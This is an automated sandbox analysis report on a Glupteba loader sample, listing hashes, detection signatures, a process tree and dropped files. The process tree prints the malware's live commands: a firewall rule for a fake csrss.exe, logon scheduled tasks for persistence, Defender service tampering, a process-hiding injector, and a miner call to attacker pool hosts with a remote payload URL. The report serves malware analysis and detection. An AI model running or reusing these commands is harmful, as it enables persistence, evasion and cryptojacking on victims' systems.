Analysis
-
max time kernel
4s -
max time network
302s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
-
submitted
16/05/2024, 23:15
General
-
Target
6392534f95576e3dfa1c19a0ff8d2a35a16439f8263334681ea233935b247a8d.exe
-
Size
4.1MB
-
MD5
e54f9f46420025373460ed429e43d47b
-
SHA1
83a2ccef7ce8e804f2984ca2692847b056297496
-
SHA256
6392534f95576e3dfa1c19a0ff8d2a35a16439f8263334681ea233935b247a8d
-
SHA512
9b5cc4577db4bfabda80d0fcc9dd52cf8b7cc1cd38d4beca7f571990ec9260489b977d0f17d44de37f232c62adae8ebedf4cb2b9e090798f737899c35e5c59db
-
SSDEEP
98304:kpMzL5+lO9W76PsoCApCyikUKUcOjCi32ayWjPGQw0uKEhKuA:kCz0Ow78YApCVkUKUXCi327kurTvhK7
Malware Config
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 27 IoCs
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
UPX packed file 18 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Using powershell.exe command.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes
-
C:\Users\Admin\AppData\Local\Temp\6392534f95576e3dfa1c19a0ff8d2a35a16439f8263334681ea233935b247a8d.exe"C:\Users\Admin\AppData\Local\Temp\6392534f95576e3dfa1c19a0ff8d2a35a16439f8263334681ea233935b247a8d.exe"1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\6392534f95576e3dfa1c19a0ff8d2a35a16439f8263334681ea233935b247a8d.exe"C:\Users\Admin\AppData\Local\Temp\6392534f95576e3dfa1c19a0ff8d2a35a16439f8263334681ea233935b247a8d.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeC:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeC:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe4⤵
-
-
-
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
2.0MB
MD51bf850b4d9587c1017a75a47680584c4
SHA175cd4738ffc07f203c3f3356bc946fdd0bcdbe19
SHA256ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955
SHA512ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08
-
Filesize
2.8MB
MD5713674d5e968cbe2102394be0b2bae6f
SHA190ac9bd8e61b2815feb3599494883526665cb81e
SHA256f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057
SHA512e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb
-
Filesize
2.0MB
MD5dcb505dc2b9d8aac05f4ca0727f5eadb
SHA14f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA25661f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
SHA51231e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
-
Filesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
-
Filesize
2KB
MD51c19c16e21c97ed42d5beabc93391fc5
SHA18ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA2561bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
SHA5127d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
-
Filesize
18KB
MD5e29210d89fffac15e61deb67b4325fb5
SHA123d36db1dee0599a933eed4515f73a5060f71a01
SHA256155e4882fba8ed80deba662685b50ce977208ac8e17baaed180ebf1437d516ee
SHA512db8c57774a11f980ce3c5b9ae4a5e8d647270cd18c97818516b3e586367905d681b4d8d63b6bc08b3075959fc0d0bffa37d9fb3afd781bcc0e31bef62b6163f2
-
Filesize
18KB
MD5e7ddfc0783e4b0cfd3bb170cdda6fad4
SHA10bd70d9b3c163089f71b570acfda37d3c07aec6a
SHA256a15928e088122095863baf0655aab42fa429bf66975da228f46b9c6ca50a66fc
SHA512a9a53664c88f90cdebaf41c94090ed76c40a022a8475c1603b12957a279733092a8c17177f53faabce6aedf82d4545b435fe7db77e86bc8554d823fdcad905c9
-
Filesize
18KB
MD5a272b5618b69c96f6d603c1dc2a42677
SHA1e8ce3e79cf6690688aeb47a6df8e356191ce07d5
SHA256af5127291e5e8db4a4a08804fd8183533c72ca01f5fbd70aebb3a0a26eaa1e9b
SHA512c22fab622744e1a657af6453a0bd1c96bf6700b6eddc646d499f19deb4a6290729401aa3082d0c8330c805ee7cc5d4baed37c5f7328813e594c45d2c917a4e77
-
Filesize
18KB
MD5fc636f6ba227b380ab723e8b8f8de360
SHA1a023d71d3a112fb4bbc2582fe1501e17b10ef37b
SHA25655c6f7e1022826789692fa4f10fe1f4dd9d4cdadb42e83be816cbc4e29c3468e
SHA512659efeaa49e60ac3291c788d71b7ca21bf628518802cfcffa8caf60865d4bd375b94da67e2e7567ba4efc4b6227c6acc958bc1ad6ecdfd46457f0f0e9a3b65b0
-
Filesize
18KB
MD51ac4dc432b9ae8db40d1c1ed7a3db07a
SHA15ffdf9e5e776f8d620082e10e528cc92d79fb4cf
SHA256e316b8ca219e8e2df2c88dea50f850bcf6a0cd56c6aea38b93b65c06320300e2
SHA512d40ed06904fe74195b033406842bb7eb710264725c319125b42a08ab8ec0cb6e2b2d2ab0d30425da972a9efa74eca903bcefc3d74ca9a20b941171b586ca457f
-
Filesize
18KB
MD53baade06f5df2cbe7e568e6b3e7cddfc
SHA1796df5b9184665093440849e737924763b482cc2
SHA25606ead42c3a1b2b6d40b2d5c5bafc2a0dc7aa604e7b050e21c12507e52c879b57
SHA5128466c60b57ecf6705f7a755a7d4b5165a2ad757aaddd9e04d5367473ec1fd30a6cecef0942ae7eb4a27bacc7085e05da72b987cef2c93910f2065217ff12972e
-
Filesize
18KB
MD5ade2ca2d7e48c11f235e7922da953be9
SHA14be2af0d215fd7895544cc9396409faff5603e52
SHA2568a00dcff834c1a317e1aba3d4d34bff0e7ece52a0dc00b3f30ce616f590e20e1
SHA512cabc34fd7b77cefdfc9fc8b14759eaf87ffdd57e04498a1fbede3fc0d196d7fc05620f717195549c5b44003efe6e3b12715ab176ca1e3bd27376067b0ce637d4
-
Filesize
18KB
MD5331d0977c189afd386f92ce0a40d6a1a
SHA1f1a9fe266b642878bec4922e79321b5ff3d26e3d
SHA256c29d23feaf5f01da067c90000b48c96db472176a17e9207ef790566443d5a91e
SHA512fd25a61499a0aea2280c3415d40e3cc97f0e7dc5a80cd503faf28307122b3e4bd98c4579f11618845667690a9f33e7cae4e2b7ca582cd7ad2ee6293283afd363
-
Filesize
4.1MB
MD5e54f9f46420025373460ed429e43d47b
SHA183a2ccef7ce8e804f2984ca2692847b056297496
SHA2566392534f95576e3dfa1c19a0ff8d2a35a16439f8263334681ea233935b247a8d
SHA5129b5cc4577db4bfabda80d0fcc9dd52cf8b7cc1cd38d4beca7f571990ec9260489b977d0f17d44de37f232c62adae8ebedf4cb2b9e090798f737899c35e5c59db
-
Filesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
3.3MB
-
Filesize
660KB
-
Filesize
300KB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
39.0MB
-
Filesize
9.1MB
-
Filesize
9.1MB
-
Filesize
4.0MB
-
Filesize
39.0MB
-
Filesize
8.9MB
-
Filesize
8.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
660KB
-
Filesize
39.0MB
-
Filesize
300KB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
3.3MB
-
Filesize
4.9MB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
660KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
300KB
-
Filesize
660KB
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
4KB
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
660KB
-
Filesize
136KB
-
Filesize
6.9MB
-
Filesize
6.2MB
-
Filesize
6.9MB
-
Filesize
120KB
-
Filesize
216KB
-
Filesize
112KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
300KB
-
Filesize
204KB
-
Filesize
472KB
-
Filesize
592KB
-
Filesize
240KB
-
Filesize
32KB
-
Filesize
104KB
-
Filesize
6.9MB